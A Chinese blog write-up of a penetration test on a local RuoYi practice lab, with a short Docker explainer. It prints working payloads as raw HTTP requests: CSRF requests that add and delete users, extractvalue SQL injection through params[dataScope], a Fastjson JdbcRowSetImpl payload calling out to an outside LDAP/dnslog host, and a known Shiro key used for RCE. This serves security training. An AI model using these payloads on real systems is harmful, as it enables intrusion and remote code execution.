安服靶场
一个ruoyi靶场。
环境准备
首先启动靶场镜像,这里我顺便搞清楚了一下一直有的一个错觉,就是觉得docker有两套命令:
一套是docker compose up -d docker compose down ,另一套好像是直接 docker load 什么什么 然后关闭的时候又是 stop rm remove 之类的,分不清楚。
以下是AI给我的解答:
- 第一套命令:针对“单个容器”的手动挡(你看到的 stop / rm / rmi)
当你只有一个软件要跑,或者你想精细控制每一步时,就用这套。这套命令的核心是“伺候一个容器”。docker load -i test.tar:这是“把菜谱买回来”。把压缩包里的镜像解压到你的 Docker 仓库里(相当于放进了冰箱)。
docker run:这是“照着菜谱把菜做出来”(创建并启动容器)。
docker stop:这是“把火关了”(停止容器进程,但菜还在盘子里,容器文件还在硬盘上)。
docker rm:这是“把盘子倒掉、洗干净”(删除容器对象)。注意,盘子没了,但菜谱(镜像)还在冰箱里。
docker rmi:这是“把菜谱扔掉”(删除镜像)。注意,rmi 最后的 i 代表 Image(镜像)。
记忆口诀:load 进货,run 做菜,stop 熄火,rm 收盘子,rmi 扔菜谱。
- 第二套命令:针对“多个容器”的自动挡(你看到的 Compose)
当你需要同时跑好几个关联的软件时(比如你要跑一个渗透测试靶场,可能需要“Web服务器 + 数据库 + 缓存”),如果一个个手动 run、stop、rm,你会累死。于是 Docker 出了个“管家”——Docker Compose。docker-compose up -d:管家拿着“装修清单(docker-compose.yml)”,把清单上列出的所有菜谱(镜像)一次性全部做成菜(容器),并且把各种网络线路接好,一键全部启动。
docker-compose down:“一键砸烂并清场”。它会把根据这个清单启动的所有容器(盘子)全部自动 stop 并自动 rm(倒掉),还会把临时创建的虚拟网络也删了。但它不会删除镜像(菜谱),所以下次 up 的时候,因为菜谱还在,启动会很快。
总结就是,原来run,stop,rm那一套是手动挡,compose那一套是自动挡,方便了不少。
渗透测试部分
信息泄露
robots.txt信息泄露 无
敏感信息泄漏 存在

登录框直接存在未删掉的管理员账户密码admin/admin123,可直接登录进入后台。
过时的、用于备份的或者开发文件残留 无
异常报错信息泄漏 无
明文密码本地保存 无
入侵痕迹残留 无
HTTP头信息泄漏 无
目录浏览 无
默认页面信息泄漏 无
存在可访问的管理后台入口 无
存在可访问的管理控制台入口 无
参数溢出 无
js source map前端源码信息泄露 无
信息猜解
用户名枚举 无
存在弱口令 存在
存在弱口令admin123登录。

暴力破解 无
认证信息泄露
传输过程信息泄漏 存在

POST方式明文传输用户名密码。
认证功能缺陷
OAuth认证缺陷 不涉及
多点登录 存在
在多个浏览器中均可登录同一各账号,说明存在多点认证缺陷。

登录失败次数限制绕过 无
验证码可被穷举 不涉及
会话管理缺陷
注销后会话未失效 无
退出登录之后再次发送请求会302:

会话固定 存在
登录前后sessionid保持一致:

密码找回/修改漏洞
密码重置链接可预测 无
任意密码重置 无
业务逻辑缺陷
短信/邮件验证码关联性验证缺失 不涉及
负值反冲 不涉及
正负值对冲 不涉及
业务流程绕过 不涉及
客户端校验绕过 无

四舍五入测试 不涉及
业务功能滥用
引用第三方不可控链接 无
未验证的URL跳转 无
服务器端请求伪造(SSRF) 无
短信内容可控 不涉及
邮件内容可控 不涉及
批量提交 不涉及
防护功能失效
验证码泄露 无
滑块验证码绕过 不涉及
图形验证码绕过 无
短信验证码泄露 不涉及
来源ip限制绕过 不涉及
人脸验证失效 不涉及
实名认证绕过 不涉及
防护功能缺失
Cookie属性问题 存在
存在未设置HttpOnly、Secure属性和SameSite属性。
会话失效时间过长 无
防护功能缺失(CSP) 不涉及
防护功能滥用
恶意账号锁定问题 无
短信炸弹 不涉及
邮件炸弹 不涉及
恶意地区ip锁定 无
权限缺失
Flash跨域访问 无
jsonp跨域请求 无
未授权访问 无
CORS跨域请求 无
权限篡改
越权漏洞 无
Cookies伪造 无
会话变量可控 无
跨站请求伪造(CSRF) 存在
信息修改处存在CSRF,可导致姓名,手机号等信息被篡改。
POST /admin/system/user/profile/update HTTP/1.1
Host: 127.0.0.1:4444
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user/profile
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=6ed48c44-5c82-40fc-91ea-9ffbc06c9695
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
id=&userName=<s>1111&phonenumber=<s>15888888888&email=<s>1&sex=1

抓包并生成CSRF的payload,然后点击

可以看到修改成功:

添加用户处存在CSRF:
POST /admin/system/user/add HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 246
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Origin: http://burpsuite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://burpsuite/
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=0ad23f89-f916-4eea-8ceb-79046a5fab01
Connection: keep-alive
deptId=107&userName=test&deptName=%EF%BF%BD%C2%BF%C2%90%EF%BF%BD%C2%BB%C2%B4%EF%BF%BD%C6%92%C2%A8%EF%BF%BD%E2%80%94%C2%A8&phonenumber=13888888889&email=test1%40qq.com&loginName=test&password=123456&sex=0&role=2&remark=&status=0&roleIds=2&postIds=
点击burp生成的payload之后成功添加用户:

用户信息编辑处存在CSRF,可直接修改用户信息:
POST /admin/system/user/edit HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 194
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user/edit/4
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=0ad23f89-f916-4eea-8ceb-79046a5fab01
Connection: keep-alive
userId=4&deptId=107&userName=test1&dept.deptName=%E8%BF%90%E7%BB%B4%E9%83%A8%E9%97%A8&phonenumber=13888888889&email=test1%40qq.com&loginName=test&sex=0&role=2&remark=&status=0&roleIds=2&postIds=
点击burp生成的payload之后成功修改刚刚创建的test用户的昵称为test1:


用户管理的删除处存在CSRF,可直接删除任意用户账号:
POST /admin/system/user/remove HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 5
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=227274d0-4c86-44c2-b79c-f0430e89cbae
Connection: keep-alive
ids=4
点击burp生成的payload之后成功删除了刚刚创建的test用户:

推出接口/admin/logout存在CSRF,可导致用户退出系统:

JWT伪造 不涉及
数据验证缺失
跨站脚本攻击(XSS) 无
HTTP响应分割 无
Host头攻击 无
SQL注入 存在
这里我刚开始测得时候以为是传统的orderby注入点,因为我拼接sec,10000他给我报错了,但后续其他语句就不执行,后面用AI直接给我搞出来个请求里没有的params[dataScope]参数却注入成功了,没一点拦截,问题怎么做到的,后面得知是ruoyi的nday,看来还是nday打少了。
多个接口和参数存在sql注入
sql1
POST /admin/system/user/list HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 66
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive
Origin: xxx
params[dataScope]=and+extractvalue(1,concat(0x7e,database(),0x7e))

sql2
POST /admin/system/role/list HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 192
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive
pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=+and+extractvalue(1,concat(0x7e,database()))

sql3
POST /admin/system/dept/edit HTTP/1.1
Host: 127.0.0.1:4444
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/dept
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)+and+extractvalue(1,concat(0x7e,database(),0x7e))%23

XML注入 无
XML外部实体注入(XXE) 无
XPATH注入 无
命令注入 无
模板注入(SSTI) 无
上传路径可控 无
任意文件上传 无
任意文件下载 无
文件包含漏洞 无
反序列化漏洞 存在
shiro反序列化漏洞
登陆处存在rememberMe字段回显,存在shiro组件且开启了rememberMe功能。
POST /admin/login HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 56
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/login
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=3f978b38-856c-4750-ae3d-7302902c88ca
Connection: keep-alive
username=admin&password=111&validateCode=12&rememberMe=1

这里使用工具指定url :http://127.0.0.1:4444/admin/login
爆破出了固定密钥为:fCq+/xW488hMTCD+cmJ3aQ==和可用的利用链,并成功RCE:


Fastjson反序列化漏洞

该处存在fastjson反序列化漏洞。
这里发现存在发送json数据的功能,于是dnslog进行探测:
POST /admin/json HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 114
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Origin: http://127.0.0.1:4444
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1:4444/admin/demo/table/search
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive
json={"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://98kk53.dnslog.cn","autoCommit":true}}
成功收到解析记录,证明反序列化存在:

其它
HTTP参数污染 无
缓慢拒绝服务攻击 无
通配符注入 无
条件竞争漏洞 无
启用不安全的HTTP方法 无
密码策略测试 存在
新增用户密码为弱口令123456,求修改密码处可修改密码为弱口令。

ASP.NET Padding Oracle测试 无
请求走私 (HTTP Request Smuggling) 无
缓存投毒 无
参考文章:

浙公网安备 33010602011771号